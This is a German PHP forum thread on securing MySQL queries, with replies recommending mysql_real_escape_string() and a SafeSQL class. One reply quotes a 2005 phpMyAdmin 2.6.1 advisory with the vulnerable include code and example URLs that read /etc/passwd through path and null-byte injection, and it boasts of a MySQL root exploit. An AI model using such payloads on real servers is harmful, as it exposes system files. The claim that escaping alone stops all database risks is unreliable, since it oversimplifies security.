[bob]

Hallo,
ich hab ne ganz einfache Frage, mit welchen Funktionen kann ich meine Abfrage in MySql so sicher wie möglich machen?
Also, das nich jedes Script Kiddie etwas anstellen könnte.

Ich hoffe Ihr wisst was ich grundlegendes meine .

Gruss
bob

[Lars]

mysql_real_escape_string() auf jeden Wert, der in die Datenbank kommt.

[RudiS]

Am besten gleich auf alle Daten, die du mit einer Datenbank verwendest (einfügen, abfragen, etc.), die Funktion auf der php.net Seite unter Punkt 3 verwenden: http://www.php.net/manual/en/functio...ape-string.php
Dann ist auch die Einstellung des Servers nicht mehr wichtig.
mfg RudiS

[Jann Hendrik]

danke für den link!

[Igi]

ich nutze die SafeSQL-Klasse von phpinsider.com
http://www.phpinsider.com/php/code/SafeSQL/

[bob]

Schonmal rechtherzlichen dank!

Also ich verwende jetzt (richtig, nicht wie vorher) mysql_real_escape_string.
Das macht das ganze ja schon um einiges sicherer, so wie ich das gelesen hab.
Gibt es denn noch wichtige Sachen bei Abfragen bzw. Eintragungen in die DB was zu beachten?

Danke!

[Lars]

Es gibt da eigentlich nur die SQL-Injection, und die wird mittels mysql_real_escape_string() verhindert.

[J33d3X]

hohohoh ....

da jips ganz lecker sachen
Date: 24.2.2005


- --- 0.Description ---
phpMyAdmin 2.6.1 is a tool written in PHP intended to
handle the administration of MySQL over the Web.
Currently it can create and drop databases,
create/drop/alter tables, delete/edit/add fields,
execute any SQL statement, manage keys on fields.

- --- 1. Remote file inclusion ---

1.0

This bug exist in css/phpmyadmin.css.php. You can
include files. Error exist in

( wobei das ja mehr in richtung a php geht aber )

$tmp_file = $GLOBALS['cfg']['ThemePath'] . '/' . 
$theme . '/css/theme_right.css.php'; 
if (@file_exists($tmp_file)) { 
include($tmp_file); 
} // end of include theme_right.css.php 
- ------ 

And now you can get files. 

For exemple: 

http://[HOST]/[DIR]/css/phpmyadmin.css.php?GLOBALS[cfg][ThemePath]=/etc/passwd %00&theme=passwd%00 
http  ://[HOST]/[DIR]/css/phpmyadmin.css.php?GLOBALS[cfg][ThemePath]=/etc&theme=pas swd%00 
etc.

hab da noch ein remote root exploit gefunden für ALLE gängigen MYSQL versionen
....
jupp richtig gehört festhalten und anschnallen remote root


aber zurück zum thema:
ich bin der auffassung das man ein ausgewogenes verhältniss/umgebung schafft
zwischen sicherheit aber auch ein bissel kompfort ( das soll nicht heissen globals on und dann feste nur noch mit extrakt & $$ ) nein aber ein gleichgewicht


mfg